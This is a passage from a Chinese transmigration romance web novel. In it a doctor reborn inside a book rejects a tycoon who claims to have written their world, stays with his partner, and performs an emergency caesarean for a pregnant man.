郁瑟不禁笑着摇摇头,转身离开。 那两个被郁瑟拒绝的西装男士并未离开,实际上选择等在医院的门口,耐心等着郁瑟下班。 负责保安工作的人给郁瑟汇报了这个情况之后,郁瑟不由得皱起眉头,心中那股莫名升起的烦躁感再次袭来。 他本想直接无视,但转念一想,这两人受了慕酌月的死命令,肯定不会擅自离开的,不如直接面对,也好过这般被人盯着不自在。 郁瑟整理好心情,决定先处理完手头的工作,再去会会那两位西装男士,深吸一口气,重新将注意力集中在眼前的病历资料上,努力让自己沉浸在工作的氛围中,不去多想那些烦心事。 时间如白驹过隙,转眼间就到了下班的时间。郁瑟合上病历本,站起身,整理了一下白大褂,迈步向医院大门走去。那两位西装男士见郁瑟出来,立刻迎了上来。 郁瑟淡道,“行,看在慕先生的诚意十足,你们两位又耗费几个小时耐心等我,那就走一趟吧。” 他给枫音尘打了一通电话,告诉对方自己晚上有事情要处理。 枫音尘最近一直亲自接送他上下班,努力做好郁医生的专属司机这一角色。 枫音尘表面不谈,实际上一点也不放心,嘴上答应说自己先回去了,实际上停着车在远处,耐心等待郁瑟出来。 果不其然。 郁瑟跟着两个西装革履的男人从医院走出来后,又坐上一辆豪华车匆匆离去。 可能是某个家伙请瑟瑟登门看诊。 枫音尘拨通手边的电话,对电话里的私人秘书讲了一串车牌号。 “三分钟之内,我要知道这辆车属于谁的私产。” 私人秘书接这种电话不要接的太多,尤其是枫家主的要求一向刁钻,限时紧迫,但职业素养让他迅速进入工作状态,不到两分钟,就已查清那辆豪华车的归属。 “家主,这辆车属于慕氏集团总裁慕酌月的私人财产。” 枫音尘听到答案,眼中闪过一抹深思。 慕酌月? 就是那个被植物人总裁宠翻了的剧情? 《强宠郁医生的99夜》这本书里除了主线剧情之外,副cp也是多如牛毛,很多都是为了剧情需要,有的只是简单得提了几句话。 像这个植物人大佬慕酌月,作者描述的剧情并不多。 只是讲他成为植物人之后,家里为了找人照顾他,所以给他配了一个联姻对象,而这个联姻对象也是身世悲催的小可怜。 好像叫做沈宏。 枫音尘虽然将这本200多万字的小黄书翻阅了无数遍,然而他的阅读重点始终停留在和郁瑟做酿酿酱酱的事情上面。 所以两人第一次爱爱的时候,郁瑟还挺奇怪地问过他是不是有很多的经验? 枫音尘居然羞怯地红了脸说,真的是第一次啊。 实际上在脑海里把郁医生早已经摁倒了无数遍,浑身上下早弄透了。 枫音尘稍微回忆了一下这段剧情,依稀记得沈宏跟植物人大佬之间通过特殊手段怀了孩子。 结果植物人苏醒过后,居然毫不追究责任,也没有离婚的打算,反倒一边悉心照料小孕夫,一边期待着孩子的降临,并且对莫名其妙结婚的老婆宠宠宠,对欺负过老婆的人虐虐虐,结局甜甜无脑甜。 枫音尘认真听着私人秘书的回报,尤其对方会报道。 “目前,慕酌月已经跟他的妻子沈宏离婚,沈宏获得了一个亿的补偿金,已经办理移民离开了华国。” 嗯? 枫音尘立刻捕捉到了华点,“慕酌月居然已经恢复单身了?” 这不应该啊,植物人不打算盛宠他突如其来的老婆了? 那他找我老婆做什么?. 郁瑟跟着两人顺利来到一处高档餐厅,慕酌月早已经坐在那里等待。 眼见着郁瑟来了之后,慕酌月的表情淡淡浮上了一层光彩,并且较之前段时间,他的精神气被养得好很多了,看起来红润饱满了不少。 郁瑟心里设想过,对方有可能会提问自己的各种问题。 例如 郁瑟已经做好决定,想着假如对方继续要讨论沈宏做试管婴儿的事情的话,他该如何完美应对,并且全身而退。 所以郁瑟直接上前,占得主动权地位道,“慕先生。” 慕酌月觉得在他准备继续说的瞬间,出手打断了他道,“我们今天不谈沈宏的事情。” 郁瑟:“????” 那我们之间,还有什么好谈的呢? 慕酌月示意另外两人离开,又朝郁瑟示意,“先请坐下,郁医生,我今天找你来,是为了另外一件事情。” 郁瑟将信将疑,选择了慕酌月的另一边坐下,悬着的心情似乎又换了一种角度,继续摇摇欲坠。 慕酌月道,“我醒来之后,其实对郁医生的个人信息也做了些调查,知道你这医院的幕后老板,是枫家的家主枫音尘。” “也了解到了一些情况,说你跟枫家主走得很近。” 郁瑟道,“可能在你们有钱人的世界里,这种随便调查人的事情时常发生,而且法律也不会给你们什么处罚,但在我看来,已经是十分的冒犯了。” 慕酌月轻笑了笑,似乎并不将郁瑟的这番警告放在心上,他道,“郁医生放心,我并没有专门去调查到你什么不该调查的东西。” “我只是想了解你的近况。” “这个话题的角度似乎不对吧?”郁瑟立刻正了正身躯,“难道说,慕先生不是应该对沈先生更加感兴趣吗?” 你不是应该去调查沈宏吗? 慕酌月道,“沈宏已经翻篇了,我对他毫无感情可言,而且,我有自己喜欢的人。” 怎么说呢。 慕酌月仿佛变了一个人似的,看向郁瑟的眼神裹挟了许多露骨的情绪,他缓缓道,“郁医生,你相信一见钟情吗?” 郁瑟闻言,心中咯噔了一下,他不理解慕酌月突然问出这种问题的意图是什么,但隐约觉得,接下来的对话,可能会让自己更加的心绪不宁。 郁瑟抿了抿唇,尽量让自己的声音听起来平静,“慕先生,一见钟情这种事情,太过玄妙,我只是普通的小老百姓,还是日久生情更为靠谱一些。” 慕酌月闻言,笑了笑,那笑容中带着几分自嘲,“是吗?可我偏偏对你,一见钟情了。” 第69章 第 69 章 郁医生的梦男。 郁瑟瞳孔猛地一缩。 他没想到慕酌月会如此直白地表达自己的感情, 令人有些措手不及。 郁瑟试图让自己的表情看起来自然一些,“慕先生,您可能是在开玩笑吧?” 慕酌月的双手手指做出塔尖式, 无意识强化自己的权威性。“不, 郁医生,我从不开这种玩笑。我知道这对你来说可能很突然,但我希望你能给我一个机会, 让我证明我对你的感情并不是一时兴起。” 郁瑟的回复肯定是当机立断道, “那就实在要辜负慕先生的情谊,因为我已经有了自己的伴侣, 而且我们的关系目前十分稳定, 并且我深爱着他。” “我希望慕先生能够理解,感情的事情不能勉强, 也无法将就。你值得找到一个真正与你心意相通的人, 而不是将就地与我在一起。我相信,以慕先生的条件,一定能够找到那个对你心动, 也让你心动的人。” 慕酌月似乎并不为所动, 而是直接拿出最为有说服力的证据。 “郁医生目前的伴侣,你确定他是真的喜欢你吗?” 嗯? 郁瑟极少感到恼怒,毕竟他的良好修养,使得他在任何情况下, 都要保持一定的镇静自若。 慕酌月道, “郁医生是学医的, 作为医生,绝对都是坚定的唯物主义精神者,在你的认知里, 对这个世界的理解,都是建立在科学理论的基础之上。” “但科学无法解释所有的事情,比如感情,比如缘分。” 或者。 “对于男性长有子宫,可以生子的这个想象,不知在郁医生所学的知识里,有没有这方面的定论。” 慕酌月搭起的双手一直保持着稳定的姿势,一如他沉稳不变的语态。 “男人能生孩子这种伪命题,难道郁医生在发现第一例的时候,完全没有产生任何形式怀疑吗?” 郁瑟不知他究竟打算从哪个角度入手,来说服自己。 不过,有一句话说得对,在现实生活中,男人是不会长有子宫这个器官的,也不会像女性一样具备孕育生命的功能。 慕酌月道,“这个世界是如此的违背科学,很多事情的发生,似乎都在挑战着人类的认知极限,更可以说,男性生子这件事,完全是在违背自然规则的意志。” 铺垫了如此之多,慕酌月感觉郁瑟严重的狐疑越来越重,索性也不再卖关子。 直接做出了最后的解释,“这个世界根本不是真实的,而是一个虚拟的世界。” 郁瑟震惊了! 假如他不是重生而来的话,一定会在此刻大骂一声骗子,而后甩袖离开。 但其实。 郁瑟居然认同他了。 因为郁瑟自己就是活生生的例子,在现实世界中死亡之后,转而重生在书中世界。 慕酌月一边说着,一边从暗处关注郁瑟的一举一动。 很好。 他说,“可能郁医生对我的话半信半疑,但我要说得是” “我其实根本不是慕酌月本尊,我在现实世界死了之后,转而成为了现在这具身体的主人,可以说我完全只配着这个叫做慕酌月的男人,而且,我现在就是慕酌月本尊。” “换句话讲,我重生了,而且我应该是,唯一一个知道这个世界是一本狗血高.H书籍的特殊者了。” 郁瑟:“” 郁瑟:“你怎么知道这本书是高.H内容。” 慕酌月俨然不想谈论这个话题,转而继续发表自己的见解,“那个不重要,最重要的是,书中世界的剧情线都是写书的人安排好的。” “谁会跟谁发生矛盾冲突,谁会成为谁的垫脚石,谁是倒霉的炮灰,谁是整本书最后的赢家。” 包括。 “谁会爱上谁,与谁真正得相爱到永远。” “这都是书中世界提前安排好的。” 郁瑟:“” 其实郁瑟自己也不想如此沉默的,只是对面这个家伙是鼎鼎有名的企业大佬,而绝对不是路边五十块钱能算一卦的神棍。 所以,郁瑟真的狠狠地沉默了。 慕酌月继续道,“那么,我要先问一下郁医生,你和枫音尘相遇的几个契机,你不用回复我,只要认真回忆就好。” “第一。” “你因为白梵的事情,意外得罪了陆家的陆云辰,对方四处宣传你的医术造假,逼得你无处藏身,这里,我讲得对吗?” 郁瑟:“” 慕酌月又道,“你只好去投奔当时能替你做主的枫家家主——枫音尘,他就趁机逼着你签下合约,要你陪他”这段剧情似乎有点难以启齿,不过他还是换了说法讲了,“陪他玩九十九夜。” 郁瑟:“” 郁瑟:“假如你说得全是真的,枫音尘原本是要玩弄我九十九个日日夜夜?” 倒不是说对枫音尘有什么排斥的想法,只是慕酌月将很多隐秘的事情,如此明目张胆地讲出口。 这件事很恐怖,很令人毛骨悚然。 “枫音尘他”郁瑟最为震惊的事是,“他” 他真的想过要操个天荒地老吗?难怪说这书是□□。 “我是主角?”郁瑟差点没有将思绪掰回到正常轨道上。 慕酌月心说,果然是我最心爱的瑟瑟,还是如此的聪明。 “难道,枫音尘在你面前伪装起来了?” 慕酌月也认真思考起来,“那你跟这样的人,长期生活在一起,不感到害怕吗?” 郁瑟说不上害不害怕,起码枫音尘对他不像是虚假的感情,只是经过慕酌月的分析之后,郁瑟就有点搞不懂了。 书里的枫音尘,对书里的郁瑟充满欲.望。 那他究竟是被剧情所引导呢? 还是他确实爱我? 郁瑟缓慢起身,朝慕酌月淡道,“今天的信息量实在有点多,所以我想再慢慢消化一下子。” “这样吧,慕先生,我对你刚刚说的话,起码有一半是坚信无疑了,所以可以再约个时间,我还想聆听一下后面的部分。” 慕酌月原本以为自己谈崩了,谁想峰回路转,柳暗花明,郁瑟的态度竟意外地缓和下来,这令他心中大喜过望。 “当然,郁医生,只要你愿意,我随时可以。”慕酌月浅笑着回应,眼神中闪烁着难以掩饰的光芒。 他深知,自己已经成功吸引了郁瑟的兴趣,接下来的每一步都将至关重要。 “那么,我们就约定在明天这个时候,如何?”郁瑟提议道,语气中带着一丝不容置疑的决断。 慕酌月点头应允,心中暗自盘算着如何利用这次机会,进一步拉近与郁瑟的关系。 两人约定好之后,郁瑟率先离开了。 慕酌月自他走后,便难以自制地变得高兴起来。 枫音尘什么的,不过是暂时依附于剧情而已。 最终能拥有郁医生的。 必须是他!!必须是他!! 慕酌月的眼神变得晦暗如渊,嘴角情不自禁地翘起弧度。 毕竟。 这本书是他写的。 慕酌月知道这本书里所有的剧情,伏笔,以及没有填补的坑。 他想把郁医生抢回来,简直易如反掌。 第70章 第 70 章 我爱枫音尘 枫音尘这边的心情也不怎么明朗, 尤其是那个该死的慕酌月将郁瑟约走了两个小时三十六分零十七秒钟。 枫音尘忖道,假如这个离婚男敢有什么其他的企图的,可不要怪自己心狠手辣。 毕竟, 郁瑟可是他好不容易吃到嘴的白月光, 怎么能容许别人轻易染指呢? 枫音尘一直坐在车内沉思,车外的月光通明透亮,可他的心情完全截然相反, 浸泡在酸味十足的陈年老坛子里。 所幸的是, 郁瑟很快便回来了。 枫音尘几乎像是迫不及待地推开车门,难以掩饰满眼的欢喜, 朝郁医生抱过去。 郁医生算是艺高人胆大了, 居然也被某人突然的拥抱吓了一跳。 不禁道,“你怎么在这里?” 枫音尘的车子一直停靠在郁瑟的小区里, 郁瑟早已为他返回枫家本宅了。 被恋人突然抱住的郁瑟, 很快感受到黏人的温热,枫音尘的嘴唇在他的耳畔不停地磨蹭着,仿佛要将所有的不满和担忧, 都通过这个小小的动作传递给对方。 而他的声音滚烫而富有依恋, 带着一丝不易察觉的撒娇:“瑟瑟,你去哪里了,我等你等得肚子都饿了,必须请我吃饭。” 郁瑟被他抱得有些喘不过气来, 轻轻推了推枫音尘的胸膛, 示意他先放开自己。 枫音尘今天却像是生怕他跑掉一样, 抱得更紧了,根本不愿松开。 郁瑟只好摸了摸枫音尘极其漂亮的脸蛋,言道, “想吃什么?我给你做啊?” 枫音尘这张嘴巴什么好吃的没有吃过?早都被锦衣玉食给养叼了的。 枫公主说,“没有顶级的法餐和米其林大厨的手艺,我不吃。” 郁瑟明显感觉他是故意在闹情绪,可能真的是等自己太久了,不由反问,“冰箱里只有一些蔬菜和牛肉片,煮火锅你吃不吃?” 枫音尘听了,嘴角微微上扬,似乎对这个弥补还算满意,“也就是你亲手做的火锅,不然绝对不可能的。” 郁瑟无奈地领他回家,转身走向厨房开始忙碌起来。 而枫音尘则跟在他的身后,像个大尾巴一样,一步不离。 很快,一锅热气腾腾的火锅就准备好了,郁瑟将牛肉片和蔬菜一一放入,枫音尘则坐在一旁,眼睛直勾勾地盯着郁瑟,生怕错过任何一个瞬间。 看着枫音尘这副模样,郁瑟不禁想起慕酌月说的话。 【枫音尘对你的喜欢,不过是剧情安排的需要】 【他不过是小说里的一个人物设定,他的人设就是对你做各种高度刺激感官的事情,以满足故事的走向。】 郁瑟摇了摇头,试图将这些荒诞的想法从脑海中驱逐出去。 眼前的枫音尘,如此真实,他的笑容、他的眼神,都仿佛能穿透任何屏障,直达郁瑟的心底。 火锅的香气在空气中弥漫,郁瑟夹起一片牛肉,放到枫音尘的碗里,“不是喊着要吃饭吗?虽然比不上你的法餐,不过不吃的话,就要饿肚子到明天早晨了。” 郁瑟这话说得极其有深意,示意对方可以留下过夜。 枫音尘立刻心领神会,完全不用郁瑟再劝,很好地将牛肉和蔬菜吃得干干净净。 之前说过的,郁瑟手艺特别好,比枫公主吃过的任何高档料理都要美味。 枫音尘就是典型的,心理一不高兴会格外娇作,郁医生这个时候能稍微宠溺他一下,某人的幸福指数会立刻膨胀到满格。 这不,刚吃完饭,枫音尘就窝在沙发里,捧着热茶,一脸惬意地看着电视里播放的老电影,偶尔还会因为某个情节尖刻地批判两声。 郁瑟收拾好碗筷,从厨房走出来,看到的就是这样一幅画面,无奈地笑了笑,心里某个角落却变得柔软起来。 或许,慕酌月说的那些话,他并不是完全不在意,但眼前的这个人,给他的感觉太过真实,让人无法忽视。 即使是书中世界提前设定好的人,可是眼前的这个人是活灵活现的、有血有肉的,有情绪,有喜好,会因为他做的一顿饭而开心,也会因为电影里的某个情节而皱眉。 这种相处的感觉,比任何虚拟的数据都要来得真实。 郁瑟走到沙发旁坐下,拿起遥控器,将电视的声音调小了一些。 “在看什么?”他随口问道。 枫音尘瞥了他一眼,嘴角微微上扬,“一部老电影,讲破案的。” 郁瑟“哦”了一声,拍了拍枫音尘的屁股,“要一起洗澡吗?” 枫音尘立刻立起了两只耳朵,微微按捺住激动的情绪,“这个片子马上要揭秘真凶了,我想看完最后的部分。” 居然没有高兴到从沙发里跳出来? 郁瑟心想着,也挺好,不然两个人洗澡太折腾了,水那在里白白流淌着,完全属于资源浪费。 所以,郁瑟自己去洗了澡,等他坐回卧室的床边,浴室传来枫音尘的关门声。 做什么呢,这人,突然鬼鬼祟祟的? 郁医生拿起床头的一本专业书籍,认真研读了十几分钟。 感觉浴室的门再次被打开,隐约的有水蒸气跟着一起出来。 还有一具自带滚热气息的身躯在靠近。 郁瑟感觉是枫音尘走过来了,双眼并未从书籍的中央挪开,而是淡淡说了一句,“你今天怎么洗得这样久?我刚才都险些准备冲进去打捞你呢。” 不听枫音尘的回复。 郁瑟这次才有点好奇地仰起头,却见了一副很不得了的场面。 枫音尘未着一丝,身上还带着未干的水珠,在灯光下闪烁着光泽,甚至带出一丝丝弥漫的热气,像婴儿一般圣洁,又像蚌壳中诞生的美神。 他的发丝随意披散着,几缕发丝贴在脸颊旁,为枫音尘平添了几分妖娆与不羁。 郁瑟的目光不由自主地在那完美的身躯上流转,喉结不自觉地滚动了一下。 枫音尘似乎是故意要看到郁瑟的失态,他只是轻轻地走到床边,肢体间的肌肉在步行时彰显出健硕又迷人的魅力。 包括血脉偾张的两个。 郁瑟感觉熟悉到不能再熟悉的热流从心底升起,急忙移开视线,想要找回一丝理智。 但枫音尘却像是存心要撩拨他一般,缓缓地在床边站定,如同天神贵胄逼到面前,那双深邃的眼眸里闪烁着刻意的光芒。 “怎么,郁医生还没看够吗?”枫音尘的声音十分令人陶醉,带着一丝不易察觉的调戏。 郁瑟干咳了一声,试图掩饰自己的尴尬,“我只是,有点惊讶,你,你洗完澡的样子……” 话说到一半,他自己也觉得这解释太过苍白无力。 确实早已经看了无数遍了。 但是因为人太漂亮,身体更漂亮的原因,以至于每一次看见都会情不自禁地陷入美.色之中。 枫音尘。 “你是狐狸精投胎转世吗?要不然就是蛇精?” 枫音尘轻笑一声,身体微微前倾,用手轻轻挑起郁瑟的下巴,眼神中充满了逗弄,“郁医生觉得,我这样子,算不算是你见过的最好看的人?” 郁瑟的脸颊不自觉地染上了一抹红晕,他匆忙别开脸,不敢与枫音尘那炽热的目光对视。 空气中弥漫着一种微妙而紧张的气氛,两人的呼吸都渐渐变得急促起来。 就在这时,枫音尘突然伸出手,一把将郁瑟拉入怀中,两人的身体瞬间紧贴在一起。 郁瑟的心跳加速,他能感受到枫音尘胸膛的起伏,以及那强有力的心跳声。 这一刻,所有的理智和矜持都烟消云散。 枫音尘说,“你超级喜欢我这张脸,从我们第一次在玻璃房中见面的时候,我立刻发现了这一点。” “不过不行。” “你不能只喜欢我的脸,你还得喜欢我的每一个部分。” “你要喜欢得是完整的我,全部的我,听到了吗?郁医生,我命令你现在立刻迷死我。” 郁瑟的手,顺利地被摁在结实的胸膛间,腹肌间,大腿上只要是属于枫音尘的部分,他今晚都要让郁瑟好好熟悉和巩固一下。 郁瑟禁不住笑了一下,连呼吸的热度都在升温。 是这本书的作者故意把你写得又美又烧吗? 精致漂亮的枫家主在私人空间里,竟然也会有如此不为人知的一面,卖弄风情又暗生霸道,将郁瑟紧紧地锁在怀里,仿佛要将对方揉进骨子里。 郁瑟的眼眸里闪烁着细碎的光芒,他轻轻地咬了咬唇,声音里带着一丝肯定,“嗯,我超级迷你的。” “最好记得你说过的话。” 当夜色把窗帘染成蜂蜜色时,枫音尘的手指轻轻地在郁瑟的发间穿梭,感受着那柔软的触感,心中充满了满足和安定。 郁瑟忽然觉得自己很有做昏君的潜力,只要枫音尘稍微露出一些诱人的神情或举动,他就完全无法抗拒,只想沉溺在这份美好中,再也不愿醒来。 可能郁医生上辈子太忙于工作了,完全不知谈恋爱的美妙之处。 尤其还是跟一个超级美人谈恋爱。 枫音尘的一个眼神、一个微笑,都能让他稳重的心湖泛起层层涟漪,仿佛整个世界都因对方而明亮起来。 脑子一片乱七八糟的嗡鸣里,两人紧紧相拥,枫音尘身上混着雪松与薄荷的沐浴液气息漫过来,像春夜第一场雨,润物无声地浸透郁瑟每一寸知觉。 郁瑟立刻仰头望着枫音尘喉结滚动的弧度,被对方轻轻托住后脑,枫音尘的拇指摩挲起他后颈的碎发,这个动作太温柔,令郁瑟不由自主地全部依附。 枫音尘的嘴唇慢慢落下,先是蜻蜓点水般掠过郁瑟颤动的眼角,像是在试探,又像是在安抚。 郁瑟只能屏住呼吸,尽情感受对方温热的呼吸拂过脸颊,带着令人心慌的催化剂。 紧接着,枫音尘更用力地扣住他的腰,将郁瑟往怀里带了带。 这次的亲吻不再克制,带着不容抗拒的温柔。他的唇辗转厮磨,像是要将所有未尽的言语,都化作这细密的触碰。 郁瑟双手不自觉缠住枫音尘的后颈,指尖抓住对方的脊背。 不知过了多久,枫音尘才稍稍离开,两人额头相抵,急促的呼吸交织在一起,谁也舍不得松开。 枫音尘简直迷疯了郁瑟的一举一动,他抱起郁医生,像是个青春期荷尔蒙爆棚的家伙,直接给人丢到床上。 其实,光是近距离欣赏枫音尘的美貌,确实是一种视觉享受。 可是反过来,让枫音尘来欣赏自己的身体,郁瑟反倒有些不好意思起来。 他自诩没有枫音尘美貌,也没有枫音尘四肢修长,男人的骄傲更比不上对方的数量。 唯一取胜的是,他和枫音尘的肌肤一般白皙光滑,抱在一起时由胜两团彼此交融的雪球。 郁瑟没一阵就变得粉红极了,枫音尘从后面抱住他,不停地抚摸郁瑟腹部。 像是兴奋到了顶点般叫喊着。 “瑟瑟,你的肚子是不是晚上吃多了,怎么这里鼓鼓囊囊的?” 郁瑟知道是怎么回事,用手不停往回摁住自己的肚皮凸出来的一块,言道,“不要搞恶作剧。” 还有。 “我吃的没有你的多吧?” 枫音尘道,“不对呀,你再仔细摸摸看,嗯?是不是比之前要多了一点肉?” “肚子肉肉的,真是好可爱,我要多磨几下” 清晨,两人正在相拥而眠。 郁瑟的手机忽然响起铃声。 枫音尘条件反射,要把他的手机给丢进堆满纸的垃圾桶里。 郁瑟则迷迷糊糊一把抢过来道,“这是你扔的第五个手机了,里面全是重要信息。” 言罢,捏着手机主动去浴室里接听。 没想到打来电话的是慕酌月,他不知哪里找来了郁瑟的电话号码,可能是准备随时单线联系郁医生。 慕酌月自从植物人状态改变过来之后,持续一段时间都没有睡好觉。 他不甘心啊。 原本是属于他的郁医生居然被其他男人抢走了,试问有谁能安然无恙地合眼熟睡。 慕酌月决定以攻心为上,慢慢挑拨两人的关系开始入手。 直到郁瑟离开枫音尘为止。 慕酌月道,“昨天和郁医生分开之后,我一直处于辗转反侧的情况。” “我觉得,自己可能是做了一点多余的事情,不应该对你说那么多关于书籍世界的事情。” “不知郁医生能否赏光,中午还想与你再见一面” 郁瑟这时大概也清醒不少,抱着手机坐在马桶上,任由流淌着出来。 不禁想快速结束这通电话,言辞淡淡道,“抱歉,我可能不需要再跟慕先生见面了。” “肯能慕先生是担心我所获得的感情不是真实的。” “但我是真的就行了。” 慕酌月的心脏冥冥中被什么戳了一下,那种不甘与失落交织的情绪愈发浓烈。 他没想到郁瑟会如此直接地拒绝,甚至没给他留下丝毫回旋的余地。 慕酌月深吸一口气,试图平复自己内心的剧痛,他嘴角勾起一抹苦笑,呢喃道:“郁医生,你说的是什么意思?” 郁瑟正色道,“我说,我是真的喜欢枫音尘,我的感情是真实的,认真的。” “我们之间是互相回应的,所以就不存在什么虚假和欺骗了。” 所以。 “慕先生,你的好意我心领了,谢谢你的提醒,不过我经历了一次死亡的考验,所以学会了一个全新的人生哲理。” “活在当下。” “慕先生在这一点上应该与我能达成共识才对。” 因为你也是刚从植物人状态苏醒过来,这种话也不必由郁瑟再讲出口来。 “所以,保重。” 郁瑟那边单方面挂掉了电话。 留给慕酌月的只是一阵忙音。 几秒钟后。 慕酌月将手机狠狠地丢了出去,手机在空中划出一道抛物线,最终狠狠砸在了冰冷的地面上,屏幕瞬间四分五裂,仿佛也在宣泄着主人的愤怒与不甘。 “你只是一个替身!!你只是郁医生的替身而已!!” 慕酌月无力地跌坐在轮椅间,双手掩面,肩膀微微颤抖着。 他从未想过,自己竟然还没有出击,居然败得如此彻底,连争取的机会都没有就被拒绝。 他闭上眼睛,脑海中不断回荡着郁瑟的话语,每一句都像是一把锋利的刀,狠狠地刺在他的心上。 他不明白,为什么郁瑟会如此坚决地选择枫音尘,难道自己真的就一点机会都没有了吗? “我写这本小说的时候,根本不是这样设计的啊!!” 慕酌月的咆哮带着一丝绝望和气愤,他仿佛是在自言自语,又像是在对这个世界发出控诉。 他原本以为自己能够掌控故事的发展,能够让郁瑟成为自己掌中之物。 “即使是假的,即使是一个区区的虚拟人物,郁瑟!你也必须跟我在一起!” 否则这本书的创作毫无意义! “我是为了得到你,才写得这本小说啊!” 等等。 慕酌月似乎想到了什么关键词。 郁医生刚才说什么? 他也像我一样,经历过死亡的考验? 他写这本书的时候,有设计过这种桥段吗? 慕酌月立刻开了一些精神,也不再颓败落寞,而是朝门外等候的管家喊道。 “去给我找一个龙城最好的私家侦探,我有很重要的事情,需要立刻知道答案!” 70-80 第71章 第 71 章 可爱宝宝 在枫音尘不知情的部分里, 发生了这样一个小插曲。 郁瑟也不是喜欢把所有事情都搬在台面上,追根究底问个清楚的人,况且是自己已经解决了的事情, 便更加没有了必要的。 慈康医院每一个季度都会举行义诊活动, 这不仅是医院回馈社会的一种方式,也是提升医护人员社会责任感的重要途径。 恰逢第三季度的义诊在即,郁瑟作为主力医生参与其中, 用他的专业知识和丰富经验为需要帮助的孕夫们提供医疗服务。 所以跟枫音尘见面的机会便少了一些, 直到一通紧急电话打来,告知郁瑟。 枫知乐在下楼的时候, 不小心扭到了脚踝, 从最后三截台阶上滚了下来,恰好碰到了肚子。 当时萧君耀并不在家, 也是恰好去公司开会。 家里的佣人们简直被惊吓到魂飞魄散, 毕竟枫知乐挺着大肚子下楼,应该有人紧跟在身边的才对。 男性生育跟女性不同,郁瑟之前曾建议过萧君耀的, 提议孩子在36周的时候可以进行刨宫产。 现在只有33周, 比预计的时间还要短。 家佣们瞬间六神无主,包括匆忙在路上赶的萧君耀更是心急如焚,唯恐这一摔的后果不堪设想。 萧君耀甚至动了一丝念头,想要将枫知乐送去更为专业的大型医院。 半路上被枫音尘打电话过来, 先劈头盖脸数落了两句, 随后告诫姓萧的老男人。 枫知乐的孩子必须在慈康医院里生, 而且一再强调,必须要坚信郁医生的能力。 郁瑟在接到电话之后,立刻返回了慈康医院, 火速通知产科和急诊科的医生,做好了一切应急准备。 越是这个时候,每一秒都至关重要。 枫知乐的情况特殊,作为他的主治医生,郁瑟清楚地知道,这个时候转移医院,不仅风险极大,而且可能会耽误最佳救治时间。 郁瑟一边在脑海里迅速梳理着可能的救治方案,一边快步走向急诊室。 在急诊室门口,郁瑟遇到了刚刚赶到的萧君耀,对方的脸上写满了焦急和愧疚,眼神中透露出一种无助。 郁瑟朝他点点头,用坚定的语气说道:“放心,我会尽全力的。”这句话是给萧君耀的安慰。 同时他也给萧君耀提示道,“最好联系附近的血库,在不影响其他医疗需求的前提下,给我这边调配一些O型血备用。” “虽然医院常规备有一定量的库存,但在紧急情况下,多一份准备总是好的。” 萧君耀闻言,立刻拿出手机,开始联系血库,一边安排着一切,一边目光紧紧跟随着郁瑟走进急诊室的背影。 急诊室内,灯光明亮而紧张,医护人员迅速而有序地忙碌着,为即将到来的手术做着最后的准备。 时间在这里仿佛被按下了快进键,每一秒都充满了紧迫感。 郁瑟换上手术服,戴上口罩和手套,深吸一口气,走进了手术室。 他知道,接下来的几个小时,将是一场与时间的赛跑,与死神的较量。 枫知乐自从怀孕后,一直由郁瑟亲手接管,虽然每个月只能见两三面,但也慢慢变得亲近起来。 此刻的枫知乐躺在手术台上气息奄奄,身下一直在出血状态,伴随着剧烈的疼痛,脸色苍白如纸,整个人如同死去一般。 郁瑟道,“产夫目前状态不好,谨防大出血和休克。我们必须争分夺秒,尽快进行剖宫产手术,取出胎儿,止血并稳定产夫的生命体征。” 他迅速而冷静地向手术团队下达指令。 麻醉师迅速为枫知乐进行全身麻醉,而郁瑟则在一旁准备着手术器械。 手术刀在灯光下闪烁着寒光,郁瑟屏息凝神,站在了手术台的中央。 手术室内,安静仿佛没有生命似的,只有器械的碰撞声和监护仪的嘀嗒声,每个人都紧绷着神经,不敢有丝毫松懈。 时间一分一秒地过去,终于,伴随着一声清脆的啼哭,一个健康的婴儿被成功取出。 郁瑟紧绷的神经这才稍微放松了一些,但他立刻又投入到为枫知乐止血和缝合伤口的工作中。 等枫知乐被推出手术室,已经是两个小时后,郁瑟从穿书以来,还没有哪一场手术使他如此消耗心神,期间还下了一次病危通知书。 门外的萧君耀已经面如土色,甚至连刚出生的孩子都不想看,一心守在手术室外,急迫地等待着小妻子平安出来。 萧君耀算是龙城首屈一指的成熟稳重,竟也双目赤红,隐隐泛起泪光道,“郁医生,知乐怎么样” 看着眼前的正经人,几乎失控哽咽的程度。 郁瑟主动屏蔽那些凶险的描述,只安抚道,“已经脱离危险期了,现在送去了特护病房,需要留心观察两天。” 萧君耀还想说些什么。 一旁阴森森的枫音尘不禁开口打断道,“知乐算是替你们萧家遭了罪了,你还不赶紧精神一点,得去病房前守着。” 枫音尘的声音冷冽,带着不容置疑的命令,让萧君耀瞬间清醒过来。意识到关键时刻确实全靠他来支撑这个家的重担,而且枫知乐也必须由他来守护。 “是,是,我这就去。”萧君耀连连点头,一点也不在意自己正在被枫音尘教育,感激地看了郁瑟一眼,然后转身匆匆离去。 郁瑟看着萧君耀的背影,突然淡道,“萧先生真是一个奇人。” “我接生过的孩子没有一百多,也起码有七八十个了。” “萧先生是我第一个遇见的,居然没有把关注点放在孩子身上的男人。” 他都不问问孩子的情况吗? 枫音尘连忙搀住郁瑟的手臂,言道,“这场手术做了这么长的时间,连我也紧紧捏着一把汗,生怕知乐有个什么” 不行,按照老人的话讲,手术室门外不要随便讲不吉利的话。 他说,“你的脸色也不好,手术过程一定辛苦极了,我先扶你去办公室坐一会儿,喝点热水。” 郁瑟更是被他的言行逗笑了,“你也是个奇人。你们都不关心孩子的吗?” 枫音尘早知道这个孩子福大命大的,不过小说里并没有提到枫知乐会从楼梯上滚下来的意外剧情,所以当他知道的时候,简直被狠狠吓了一跳。 枫音尘此刻发丝间还黏着洗发膏残留的痕迹,原本是在洗澡的,听到知乐出事了,他连个人形象都不顾了,发疯往医院赶。 枫澄枫羽大概再有个十几分钟都能赶来,龙城唯一不好的是交通堵塞的厉害。 实在不行,坐直升机过来也可以,家里又不是没有这个便利条件。 枫音尘说,“幸亏我正在你家里洗澡,不然这程子还没及时赶来呢。” 郁瑟说,“我闻出来了。你又用了我的洗发水。” 话说样样追求奢华精致的枫家主,居然也能用二十几块钱的海飞丝? 郁瑟道,“你真的不想知道,知乐生的是男孩还是女孩吗?” 那孩子虽然被迫早产,但是一切健康,现在已经被平平安安的放进了保温箱里。 但是没有任何人去看望和祝福。 好可怜的一个小宝宝。 枫音尘说,“先扶你休息一下,那孩子乖乖躺在保温箱里,又不可能被人抱走,等一会儿再去看也不迟。” 好吧,我不催了。 